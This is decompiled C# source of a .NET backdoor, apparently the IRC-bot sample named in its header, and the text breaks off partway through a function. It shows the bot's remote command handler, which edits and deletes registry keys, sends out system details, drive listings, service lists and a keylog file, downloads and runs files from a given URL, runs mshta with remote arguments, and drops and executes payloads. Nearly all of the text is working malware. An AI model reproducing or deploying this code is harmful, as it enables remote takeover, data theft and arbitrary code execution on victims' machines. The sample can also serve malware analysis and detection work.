// Decompiled with JetBrains decompiler
// Type: n.IND
// Assembly: n, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BFCF94BC-F711-4A63-941E-52FC7F306AC7
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b.exe

using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using Microsoft.VisualBasic.Devices;
using Microsoft.Win32;
using n.My;
using System;
using System.Diagnostics;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Net.Sockets;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.ServiceProcess;
using System.Text;
using System.Threading;
using System.Windows.Forms;

namespace n
{
  [StandardModule]
  internal sealed class IND
  {
    public static string TM = Interaction.Environ("temp") + "\\";
    public static string Y = "^:^";
    private static int ER;
    public static int LPING;
    public static chat Ca = new chat();
    private const int MOUSEEVENTF_ABSOLUTE = 32768;
    private const int MOUSEEVENTF_LEFTDOWN = 2;
    private const int MOUSEEVENTF_LEFTUP = 4;
    private const int MOUSEEVENTF_MOVE = 1;
    private const int MOUSEEVENTF_MIDDLEDOWN = 32;
    private const int MOUSEEVENTF_MIDDLEUP = 64;
    private const int MOUSEEVENTF_RIGHTDOWN = 8;
    private const int MOUSEEVENTF_RIGHTUP = 16;
    private static string pk;

    public static void inddd(string T)
    {
      RichTextBox t1 = B.Chat.T1;
      t1.Text = t1.Text + B.Chat.nick + " : " + T + "\r\n";
    }

    public static RegistryKey Rk(ref string p, ref bool W)
    {
      Array Instance = (Array) Strings.Split(p, "\\");
      object Left = NewLateBinding.LateIndexGet((object) Instance, new object[1]
      {
        (object) 0
      }, (string[]) null);
      RegistryKey registryKey;
      if (Operators.ConditionalCompareObjectEqual(Left, (object) "HKEY_CLASSES_ROOT", false))
        registryKey = MyProject.Computer.Registry.ClassesRoot.OpenSubKey(Strings.Replace(p, Conversions.ToString(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance, new object[1]
        {
          (object) 0
        }, (string[]) null), (object) "\\")), ""), (W ? 1 : 0) != 0);
      else if (Operators.ConditionalCompareObjectEqual(Left, (object) "HKEY_CURRENT_USER", false))
        registryKey = MyProject.Computer.Registry.CurrentUser.OpenSubKey(Strings.Replace(p, Conversions.ToString(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance, new object[1]
        {
          (object) 0
        }, (string[]) null), (object) "\\")), ""), (W ? 1 : 0) != 0);
      else if (Operators.ConditionalCompareObjectEqual(Left, (object) "HKEY_LOCAL_MACHINE", false))
        registryKey = MyProject.Computer.Registry.LocalMachine.OpenSubKey(Strings.Replace(p, Conversions.ToString(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance, new object[1]
        {
          (object) 0
        }, (string[]) null), (object) "\\")), ""), (W ? 1 : 0) != 0);
      else if (Operators.ConditionalCompareObjectEqual(Left, (object) "HKEY_USERS", false))
        registryKey = MyProject.Computer.Registry.Users.OpenSubKey(Strings.Replace(p, Conversions.ToString(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance, new object[1]
        {
          (object) 0
        }, (string[]) null), (object) "\\")), ""), (W ? 1 : 0) != 0);
      else if (Operators.ConditionalCompareObjectEqual(Left, (object) "HKEY_CURRENT_CONFIG", false))
        registryKey = MyProject.Computer.Registry.CurrentConfig.OpenSubKey(Strings.Replace(p, Conversions.ToString(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance, new object[1]
        {
          (object) 0
        }, (string[]) null), (object) "\\")), ""), (W ? 1 : 0) != 0);
      return registryKey;
    }

    public static void ind(byte[] Da)
    {
      IND.ER = 0;
      string str1 = Encoding.UTF8.GetString(Da);
      int num1;
      try
      {
        Array Instance1 = (Array) Strings.Split(str1, IND.Y);
        string Left1 = NewLateBinding.LateIndexGet((object) Instance1, new object[1]
        {
          (object) 0
        }, (string[]) null).ToString();
        int num2;
        if (Operators.CompareString(Left1, "#KON", false) == 0)
        {
          if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
          {
            (object) 1
          }, (string[]) null), (object) "T", false))
            B.KON = true;
          else
            B.KON = false;
        }
        else if (Operators.CompareString(Left1, "#RG", false) == 0)
        {
          IND.ER = 1;
          object Left2 = NewLateBinding.LateIndexGet((object) Instance1, new object[1]
          {
            (object) 1
          }, (string[]) null);
          if (Operators.ConditionalCompareObjectEqual(Left2, (object) "~", false))
          {
            Array Instance2 = Instance1;
            object[] objArray1 = new object[1];
            object[] objArray2 = objArray1;
            int num3 = 2;
            // ISSUE: variable of a boxed type
            __Boxed<int> local1 = (ValueType) num3;
            objArray2[0] = (object) local1;
            object[] Arguments = objArray1;
            string str2 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, Arguments, (string[]) null));
            ref string local2 = ref str2;
            bool flag = false;
            ref bool local3 = ref flag;
            RegistryKey registryKey1 = IND.Rk(ref local2, ref local3);
            NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
            {
              (object) num3,
              (object) str2
            }, (string[]) null, true, false);
            RegistryKey registryKey2 = registryKey1;
            string Right;
            string s;
            foreach (string subKeyName in registryKey2.GetSubKeyNames())
            {
              string str3 = Right;
              s = subKeyName + IND.Y + IND.Y + "Key";
              string str4 = API.ENB(ref s);
              string y = IND.Y;
              Right = str3 + str4 + y;
            }
            foreach (string valueName in registryKey2.GetValueNames())
            {
              string str5 = registryKey2.GetValue(valueName, RuntimeHelpers.GetObjectValue(new object())).ToString();
              if (str5.Length > 200)
                str5 = Strings.Mid(str5, 1, 200);
              string str6 = Right;
              s = valueName + IND.Y + str5 + IND.Y + "Value";
              string str7 = API.ENB(ref s);
              string y = IND.Y;
              Right = str6 + str7 + y;
            }
            B b = MyProject.Forms.B;
            s = Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject((object) ("#RG" + IND.Y + "~" + IND.Y), NewLateBinding.LateIndexGet((object) Instance1, new object[1]
            {
              (object) 2
            }, (string[]) null)), (object) IND.Y), (object) Right));
            ref string local4 = ref s;
            b.SEND(ref local4);
          }
          else if (Operators.ConditionalCompareObjectEqual(Left2, (object) "!", false))
          {
            Array Instance3 = Instance1;
            object[] objArray3 = new object[1];
            object[] objArray4 = objArray3;
            int num4 = 2;
            // ISSUE: variable of a boxed type
            __Boxed<int> local5 = (ValueType) num4;
            objArray4[0] = (object) local5;
            object[] Arguments = objArray3;
            string str8 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance3, Arguments, (string[]) null));
            ref string local6 = ref str8;
            bool flag = true;
            ref bool local7 = ref flag;
            RegistryKey registryKey = IND.Rk(ref local6, ref local7);
            NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
            {
              (object) num4,
              (object) str8
            }, (string[]) null, true, false);
            registryKey.SetValue(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
            {
              (object) 3
            }, (string[]) null)), RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
            {
              (object) 4
            }, (string[]) null)));
          }
          else if (Operators.ConditionalCompareObjectEqual(Left2, (object) "@", false))
          {
            Array Instance4 = Instance1;
            object[] objArray5 = new object[1];
            object[] objArray6 = objArray5;
            int num5 = 2;
            // ISSUE: variable of a boxed type
            __Boxed<int> local8 = (ValueType) num5;
            objArray6[0] = (object) local8;
            object[] Arguments = objArray5;
            string str9 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance4, Arguments, (string[]) null));
            ref string local9 = ref str9;
            bool flag = true;
            ref bool local10 = ref flag;
            RegistryKey registryKey3 = IND.Rk(ref local9, ref local10);
            NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
            {
              (object) num5,
              (object) str9
            }, (string[]) null, true, false);
            RegistryKey registryKey4 = registryKey3;
            int num6 = Instance1.Length - 1;
            for (int index = 3; index <= num6; ++index)
            {
              Array Instance5 = (Array) Strings.Split(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
              {
                (object) index
              }, (string[]) null)), "\\");
              if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Instance5, new object[1]
              {
                (object) 1
              }, (string[]) null), (object) "Key", false))
                registryKey4.DeleteSubKeyTree(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance5, new object[1]
                {
                  (object) 0
                }, (string[]) null)));
              else
                registryKey4.DeleteValue(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance5, new object[1]
                {
                  (object) 0
                }, (string[]) null)));
            }
          }
          else
          {
            if (!Operators.ConditionalCompareObjectEqual(Left2, (object) "#", false))
              return;
            Array Instance6 = Instance1;
            object[] objArray7 = new object[1];
            object[] objArray8 = objArray7;
            int num7 = 2;
            // ISSUE: variable of a boxed type
            __Boxed<int> local11 = (ValueType) num7;
            objArray8[0] = (object) local11;
            object[] Arguments = objArray7;
            string str10 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance6, Arguments, (string[]) null));
            ref string local12 = ref str10;
            bool flag = true;
            ref bool local13 = ref flag;
            RegistryKey registryKey = IND.Rk(ref local12, ref local13);
            NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
            {
              (object) num7,
              (object) str10
            }, (string[]) null, true, false);
            registryKey.CreateSubKey(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
            {
              (object) 3
            }, (string[]) null)));
          }
        }
        else if (Operators.CompareString(Left1, "#k", false) == 0)
        {
          IND.ER = 1;
          if (File.Exists(Application.StartupPath + "\\" + B.exename) && FileSystem.FileLen(Application.StartupPath + "\\" + B.exename) > 0L)
          {
            B b = MyProject.Forms.B;
            string str11 = "#k" + IND.Y + File.ReadAllText(Application.StartupPath + "\\" + B.exename);
            ref string local = ref str11;
            b.SEND(ref local);
          }
          else
          {
            B b = MyProject.Forms.B;
            string str12 = "#k" + IND.Y + "..";
            ref string local = ref str12;
            b.SEND(ref local);
          }
        }
        else if (Operators.CompareString(Left1, "#X", false) == 0)
        {
          IND.ER = 0;
          int num8 = 8 + NewLateBinding.LateIndexGet((object) Instance1, new object[1]
          {
            (object) 1
          }, (string[]) null).ToString().Length;
          MemoryStream memoryStream = new MemoryStream();
          int num9 = num8;
          int num10 = Da.Length - 1;
          for (int index = num9; index <= num10; ++index)
            memoryStream.WriteByte(Da[index]);
          byte[] array = memoryStream.ToArray();
          bool flag = false;
          ref bool local = ref flag;
          byte[] bytes = API.ZIP(array, ref local);
          int num11 = 0;
          do
          {
            if (File.Exists(Conversions.ToString(Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num11) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1]
            {
              (object) 1
            }, (string[]) null)))))
            {
              try
              {
                File.Delete(Conversions.ToString(Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num11) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1]
                {
                  (object) 1
                }, (string[]) null))));
                File.WriteAllBytes(Conversions.ToString(Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num11) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1]
                {
                  (object) 1
                }, (string[]) null))), bytes);
                NewLateBinding.LateCall((object) null, typeof (Process), "Start", new object[1]
                {
                  Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num11) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1]
                  {
                    (object) 1
                  }, (string[]) null))
                }, (string[]) null, (System.Type[]) null, (bool[]) null, true);
                break;
              }
              catch (Exception ex)
              {
                int lErl = num2;
                ProjectData.SetProjectError(ex, lErl);
                ProjectData.ClearProjectError();
              }
              ++num11;
            }
            else
            {
              File.WriteAllBytes(Conversions.ToString(Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num11) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1]
              {
                (object) 1
              }, (string[]) null))), bytes);
              NewLateBinding.LateCall((object) null, typeof (Process), "Start", new object[1]
              {
                Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num11) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1]
                {
                  (object) 1
                }, (string[]) null))
              }, (string[]) null, (System.Type[]) null, (bool[]) null, true);
              break;
            }
          }
          while (num11 <= 999);
        }
        else if (Operators.CompareString(Left1, "##", false) == 0)
        {
          IND.ER = 5;
          MyProject.Computer.Registry.CurrentUser.SetValue("p", RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
          {
            (object) 1
          }, (string[]) null)));
          B b = MyProject.Forms.B;
          string str13 = "plugin";
          ref string local = ref str13;
          b.SEND(ref local);
        }
        else if (Operators.CompareString(Left1, "#Rec", false) == 0)
        {
          B.XRec = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
          {
            (object) 1
          }, (string[]) null));
          MyProject.Forms.B.Dis();
        }
        else if (Operators.CompareString(Left1, "#ser0", false) == 0)
        {
          IND.ER = 1;
          string str14;
          string s;
          foreach (ServiceController service in ServiceController.GetServices())
          {
            string str15 = str14;
            string y = IND.Y;
            s = service.ServiceName + "{}" + Strings.Replace(Strings.Replace(Conversions.ToString(service.CanStop), Conversions.ToString(true), "Yes"), Conversions.ToString(false), "No") + "{}" + service.Status.ToString() + "{}" + service.DisplayName;
            string str16 = API.ENB(ref s);
            str14 = str15 + y + str16;
          }
          B b = MyProject.Forms.B;
          s = "#ser0" + str14;
          ref string local = ref s;
          b.SEND(ref local);
        }
        else if (Operators.CompareString(Left1, "#ser1", false) == 0)
        {
          IND.ER = 1;
          foreach (ServiceController service in ServiceController.GetServices())
          {
            if (Operators.ConditionalCompareObjectEqual((object) service.ServiceName, NewLateBinding.LateIndexGet((object) Instance1, new object[1]
            {
              (object) 1
            }, (string[]) null), false))
              service.Start();
          }
        }
        else if (Operators.CompareString(Left1, "#ser2", false) == 0)
        {
          IND.ER = 1;
          foreach (ServiceController service in ServiceController.GetServices())
          {
            if (Operators.ConditionalCompareObjectEqual((object) service.ServiceName, NewLateBinding.LateIndexGet((object) Instance1, new object[1]
            {
              (object) 1
            }, (string[]) null), false))
              service.Stop();
          }
        }
        else if (Operators.CompareString(Left1, "#R", false) == 0)
        {
          IND.ER = 0;
          B.Nkey.SetValue("vname", RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
          {
            (object) 1
          }, (string[]) null)));
          B.Vname = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
          {
            (object) 1
          }, (string[]) null));
          B b = MyProject.Forms.B;
          string str17 = Conversions.ToString(Operators.ConcatenateObject((object) ("#R" + IND.Y), NewLateBinding.LateIndexGet((object) Instance1, new object[1]
          {
            (object) 1
          }, (string[]) null)));
          ref string local = ref str17;
          b.SEND(ref local);
        }
        else if (Operators.CompareString(Left1, "ping", false) == 0)
        {
          B b = MyProject.Forms.B;
          string str18 = "pong";
          ref string local = ref str18;
          b.SEND(ref local);
        }
        else if (Operators.CompareString(Left1, "#0", false) == 0)
        {
          IND.ER = 0;
          B b1 = MyProject.Forms.B;
          string str19 = "#red";
          ref string local14 = ref str19;
          b1.SEND(ref local14);
          Thread thread = new Thread((ParameterizedThreadStart) (a0 => IND.Du((Array) a0)));
          Array Instance7 = Instance1;
          object[] objArray9 = new object[1];
          object[] objArray10 = objArray9;
          int num12 = 1;
          // ISSUE: variable of a boxed type
          __Boxed<int> local15 = (ValueType) num12;
          objArray10[0] = (object) local15;
          object[] Arguments = objArray9;
          string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance7, Arguments, (string[]) null));
          string Expression = API.DEB(ref s);
          NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
          {
            (object) num12,
            (object) s
          }, (string[]) null, true, false);
          string y = IND.Y;
          IND.Du((Array) Strings.Split(Expression, y));
          do
          {
            num1 = 0;
            Thread.Sleep(5);
          }
          while (thread.IsAlive);
          B b2 = MyProject.Forms.B;
          string str20 = "#Bla";
          ref string local16 = ref str20;
          b2.SEND(ref local16);
        }
        else if (Operators.CompareString(Left1, "#1", false) == 0)
        {
          B b3 = MyProject.Forms.B;
          string str21 = "#red";
          ref string local17 = ref str21;
          b3.SEND(ref local17);
          IND.ER = 0;
          Thread thread = new Thread((ParameterizedThreadStart) (a0 => IND.DT((Array) a0)));
          Array Instance8 = Instance1;
          object[] objArray11 = new object[1];
          object[] objArray12 = objArray11;
          int num13 = 1;
          // ISSUE: variable of a boxed type
          __Boxed<int> local18 = (ValueType) num13;
          objArray12[0] = (object) local18;
          object[] Arguments = objArray11;
          string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance8, Arguments, (string[]) null));
          string Expression = API.DEB(ref s);
          NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
          {
            (object) num13,
            (object) s
          }, (string[]) null, true, false);
          string y = IND.Y;
          IND.DT((Array) Strings.Split(Expression, y));
          do
          {
            num1 = 1;
            Thread.Sleep(5);
          }
          while (thread.IsAlive);
          B b4 = MyProject.Forms.B;
          string str22 = "#Bla";
          ref string local19 = ref str22;
          b4.SEND(ref local19);
        }
        else if (Operators.CompareString(Left1, "#2", false) == 0)
        {
          IND.ER = 0;
          string str23 = "." + Strings.Split(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
          {
            (object) 1
          }, (string[]) null)), ".")[Strings.Split(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
          {
            (object) 1
          }, (string[]) null)), ".").Length - 1];
          int num14 = 0;
          while (File.Exists(Interaction.Environ("appdata") + "\\" + Conversions.ToString(num14) + str23))
          {
            try
            {
              File.Delete(Interaction.Environ("appdata") + "\\" + Conversions.ToString(num14) + str23);
              int num15;
              ++num15;
              if (num15 > 5)
                return;
              continue;
            }
            catch (Exception ex)
            {
              int lErl = num2;
              ProjectData.SetProjectError(ex, lErl);
              ProjectData.ClearProjectError();
            }
            ++num14;
            if (num14 > 9999)
              return;
          }
          string fileName = Interaction.Environ("appdata") + "\\" + Conversions.ToString(num14) + str23;
          Network network = MyProject.Computer.Network;
          object[] objArray13 = new object[2];
          object[] objArray14 = objArray13;
          Array Instance9 = Instance1;
          object[] objArray15 = new object[1];
          object[] objArray16 = objArray15;
          int num16 = 1;
          // ISSUE: variable of a boxed type
          __Boxed<int> local = (ValueType) num16;
          objArray16[0] = (object) local;
          object[] Arguments1 = objArray15;
          object objectValue = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance9, Arguments1, (string[]) null));
          objArray14[0] = objectValue;
          objArray13[1] = (object) fileName;
          object[] objArray17 = objArray13;
          object[] Arguments2 = objArray17;
          bool[] flagArray = new bool[2]{ true, true };
          bool[] CopyBack = flagArray;
          NewLateBinding.LateCall((object) network, (System.Type) null, "DownloadFile", Arguments2, (string[]) null, (System.Type[]) null, CopyBack, true);
          if (flagArray[0])
            NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
            {
              (object) num16,
              RuntimeHelpers.GetObjectValue(objArray17[0])
            }, (string[]) null, true, false);
          if (flagArray[1])
            fileName = (string) Conversions.ChangeType(RuntimeHelpers.GetObjectValue(objArray17[1]), typeof (string));
          Process.Start(fileName);
        }
        else if (Operators.CompareString(Left1, "#3", false) == 0)
        {
          IND.ER = 0;
          MemoryStream memoryStream = new MemoryStream();
          byte[] bytes1 = Encoding.Default.GetBytes("#4" + IND.Y);
          memoryStream.Write(bytes1, 0, bytes1.Length);
          Encoding encoding = Encoding.Default;
          ref byte[] local20 = ref C.Plug;
          string str24 = "plugin.C";
          ref string local21 = ref str24;
          string str25 = "Pass";
          ref string local22 = ref str25;
          object obj = (object) null;
          ref object local23 = ref obj;
          string s1 = Conversions.ToString(C.inv(ref local20, ref local21, ref local22, ref local23));
          string s2 = API.ENB(ref s1);
          byte[] bytes2 = encoding.GetBytes(s2);
          bool flag = true;
          ref bool local24 = ref flag;
          byte[] buffer = API.ZIP(bytes2, ref local24);
          memoryStream.Write(buffer, 0, buffer.Length);
          MyProject.Forms.B.WC.SendData(memoryStream.ToArray());
        }
        else if (Operators.CompareString(Left1, "#4", false) == 0)
        {
          if (B.Rec)
            ProjectData.EndApp();
          IND.ER = 0;
          try
          {
            MyProject.Forms.B.BW.B.Dispose();
            A.fj.Dispose();
          }
          catch (Exception ex)
          {
            int lErl = num2;
            ProjectData.SetProjectError(ex, lErl);
            ProjectData.ClearProjectError();
          }
          if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
          {
            (object) 1
          }, (string[]) null), (object) "!", false))
          {
            try
            {
              MyProject.Computer.Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).DeleteValue(B.SU);
            }
            catch (Exception ex)
            {
              int lErl = num2;
              ProjectData.SetProjectError(ex, lErl);
              ProjectData.ClearProjectError();
            }
            try
            {
              MyProject.Computer.Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).DeleteValue(B.SU);
            }
            catch (Exception ex)
            {
              int lErl = num2;
              ProjectData.SetProjectError(ex, lErl);
              ProjectData.ClearProjectError();
            }
            try
            {
              B.Nkey.DeleteValue("vname");
            }
            catch (Exception ex)
            {
              int lErl = num2;
              ProjectData.SetProjectError(ex, lErl);
              ProjectData.ClearProjectError();
            }
            try
            {
              B.Nkey.DeleteValue("FL");
            }
            catch (Exception ex)
            {
              int lErl = num2;
              ProjectData.SetProjectError(ex, lErl);
              ProjectData.ClearProjectError();
            }
            try
            {
              foreach (DriveInfo drive in DriveInfo.GetDrives())
              {
                if (drive.IsReady)
                {
                  if (drive.TotalFreeSpace > 0L)
                  {
                    try
                    {
                      if (File.Exists(drive.Name + B.Uo))
                        File.Delete(drive.Name + B.Uo);
                    }
                    catch (Exception ex)
                    {
                      int lErl = num2;
                      ProjectData.SetProjectError(ex, lErl);
                      ProjectData.ClearProjectError();
                    }
                  }
                }
              }
            }
            catch (Exception ex)
            {
              int lErl = num2;
              ProjectData.SetProjectError(ex, lErl);
              ProjectData.ClearProjectError();
            }
            foreach (Process process in Process.GetProcessesByName("wscript"))
            {
              try
              {
                process.Kill();
              }
              catch (Exception ex)
              {
                int lErl = num2;
                ProjectData.SetProjectError(ex, lErl);
                ProjectData.ClearProjectError();
              }
            }
            try
            {
              string path = Application.StartupPath + "\\j.vbs";
              string w = n.My.Resources.Resources.W;
              string contents = API.DEB(ref w).Replace("NJ", Application.ExecutablePath);
              File.WriteAllText(path, contents);
              Process.Start(Application.StartupPath + "\\j.vbs");
            }
            catch (Exception ex)
            {
              int lErl = num2;
              ProjectData.SetProjectError(ex, lErl);
              ProjectData.ClearProjectError();
            }
          }
          ProjectData.EndApp();
        }
        else if (Operators.CompareString(Left1, "#5", false) == 0)
        {
          IND.ER = 0;
          Process process = Process.Start(new ProcessStartInfo()
          {
            FileName = "mshta.exe",
            Arguments = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
            {
              (object) 1
            }, (string[]) null)),
            CreateNoWindow = true,
            WindowStyle = ProcessWindowStyle.Hidden
          });
          Thread.Sleep(60000);
          try
          {
            process.Kill();
          }
          catch (Exception ex)
          {
            int lErl = num2;
            ProjectData.SetProjectError(ex, lErl);
            ProjectData.ClearProjectError();
          }
        }
        else if (Operators.CompareString(Left1, "#6", false) == 0)
        {
          IND.ER = 0;
          try
          {
            MyProject.Forms.B.BW.B.Dispose();
            if (A.fj.Id > 1)
              A.fj.Kill();
          }
          catch (Exception ex)
          {
            int lErl = num2;
            ProjectData.SetProjectError(ex, lErl);
            ProjectData.ClearProjectError();
          }
          Process.Start(Application.ExecutablePath);
          ProjectData.EndApp();
        }
        else if (Operators.CompareString(Left1, "#7", false) == 0)
        {
          IND.ER = 2;
          Array Instance10 = Instance1;
          object[] objArray18 = new object[1];
          object[] objArray19 = objArray18;
          int num17 = 1;
          // ISSUE: variable of a boxed type
          __Boxed<int> local25 = (ValueType) num17;
          objArray19[0] = (object) local25;
          object[] Arguments = objArray18;
          int integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance10, Arguments, (string[]) null));
          byte[] numArray = sc.gc(ref integer);
          NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
          {
            (object) num17,
            (object) integer
          }, (string[]) null, true, false);
          byte[] buffer = numArray;
          if (buffer.Length == 0)
          {
            B b = MyProject.Forms.B;
            string str26 = "#5" + IND.Y + Conversions.ToString(0);
            ref string local26 = ref str26;
            b.SEND(ref local26);
          }
          else
          {
            MemoryStream memoryStream = new MemoryStream();
            memoryStream.Write(Encoding.Default.GetBytes("#6" + IND.Y), 0, IND.Y.Length + 2);
            memoryStream.Write(buffer, 0, buffer.Length);
            MyProject.Forms.B.WC.SendData(memoryStream.ToArray());
          }
        }
        else if (Operators.CompareString(Left1, "#8", false) == 0)
        {
          string Right = "\r\n";
          string str27;
          string s = Conversions.ToString(Operators.AddObject((object) (str27 + "PC InfoX*X==" + Right + "PC\\UserX*X" + B.PC + Right + "CountryX*X" + API.Gc() + Right + "OSX*X" + MyProject.Computer.Info.OSFullName.Replace("Windows", "").Replace("  ", " ").Replace("Microsoft", "").Replace("®", "").Replace("™", "") + Right), Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject((object) "ProcessorX*X", MyProject.Computer.Registry.LocalMachine.OpenSubKey("HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0").GetValue("~mhz")), (object) " *"), (object) Environment.ProcessorCount), (object) "~MHZ"), (object) Right))) + "RAMX*X" + IND.siz(Conversions.ToString(MyProject.Computer.Info.TotalPhysicalMemory)) + Right + "UpTimeX*X" + Strings.Split(Strings.Mid(Conversions.ToString((double) Environment.TickCount / 3600000.0), 1, 5), ".")[0] + " :Hours" + Right + "Server InfoX*X==" + Right + "ServerX*X" + API.DEB(ref B.Vname) + Right + "Host:PortX*X" + B.no + Right + "DirectoryX*X" + Application.StartupPath + Right + "ExeNameX*X" + AppDomain.CurrentDomain.FriendlyName + Right + "Process IDX*X" + Conversions.ToString(Process.GetCurrentProcess().Id) + Right + "StartupX*X" + B.SU + Right + "PersistantX*X" + Conversions.ToString(B.UU) + Right + "SpreadX*X" + B.spread + Right + "MutexX*X" + B.mU + Right + "First RunX*X" + B.FR + Right + "RegKeyX*X" + B.Nkey.Name + Right + "Firewall BypassX*X" + Strings.Replace(B.Fw.ToString(), "True", "Yes").Replace("False", "No");
          B b = MyProject.Forms.B;
          string str28 = "#7" + IND.Y + API.ENB(ref s);
          ref string local = ref str28;
          b.SEND(ref local);
        }
        else if (Operators.CompareString(Left1, "#9", false) == 0)
        {
          IND.ER = 1;
          string str29;
          string s;
          foreach (DriveInfo drive in DriveInfo.GetDrives())
          {
            if (drive.IsReady)
            {
              string str30 = str29;
              string y = IND.Y;
              s = drive.Name;
              string str31 = API.ENB(ref s);
              str29 = str30 + y + str31;
            }
          }
          B b = MyProject.Forms.B;
          string[] strArray1 = new string[8];
          strArray1[0] = "#8";
          strArray1[1] = str29;
          strArray1[2] = IND.Y;
          string[] strArray2 = strArray1;
          string desktop = MyProject.Computer.FileSystem.SpecialDirectories.Desktop;
          string str32 = API.ENB(ref desktop);
          strArray2[3] = str32;
          strArray1[4] = IND.Y;
          string[] strArray3 = strArray1;
          string myDocuments = MyProject.Computer.FileSystem.SpecialDirectories.MyDocuments;
          string str33 = API.ENB(ref myDocuments);
          strArray3[5] = str33;
          strArray1[6] = IND.Y;
          string[] strArray4 = strArray1;
          s = MyProject.Computer.FileSystem.SpecialDirectories.Temp;
          string str34 = API.ENB(ref s);
          strArray4[7] = str34;
          string str35 = string.Concat(strArray1);
          ref string local = ref str35;
          b.SEND(ref local);
        }
        else if (Operators.CompareString(Left1, "#10", false) == 0)
        {
          IND.ER = 1;
          Array Instance11 = Instance1;
          object[] objArray20 = new object[1];
          object[] objArray21 = objArray20;
          int num18 = 1;
          // ISSUE: variable of a boxed type
          __Boxed<int> local27 = (ValueType) num18;
          objArray21[0] = (object) local27;
          object[] Arguments3 = objArray20;
          string s3 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance11, Arguments3, (string[]) null));
          string path1 = API.DEB(ref s3);
          NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
          {
            (object) num18,
            (object) s3
          }, (string[]) null, true, false);
          string str36;
          foreach (string directory in Directory.GetDirectories(path1))
          {
            string str37 = str36;
            string y = IND.Y;
            string Expression = directory;
            Array Instance12 = Instance1;
            object[] objArray22 = new object[1];
            object[] objArray23 = objArray22;
            int num19 = 1;
            // ISSUE: variable of a boxed type
            __Boxed<int> local28 = (ValueType) num19;
            objArray23[0] = (object) local28;
            object[] Arguments4 = objArray22;
            string s4 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance12, Arguments4, (string[]) null));
            string Find = API.DEB(ref s4);
            NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
            {
              (object) num19,
              (object) s4
            }, (string[]) null, true, false);
            string s5 = Strings.Replace(Expression, Find, "") + "*DIR";
            string str38 = API.ENB(ref s5);
            str36 = str37 + y + str38;
          }
          string[] strArray5 = new string[5]
          {
            "png",
            "jpg",
            "jpeg",
            "bmp",
            "ico"
          };
          Array Instance13 = Instance1;
          object[] objArray24 = new object[1];
          object[] objArray25 = objArray24;
          int num20 = 1;
          // ISSUE: variable of a boxed type
          __Boxed<int> local29 = (ValueType) num20;
          objArray25[0] = (object) local29;
          object[] Arguments5 = objArray24;
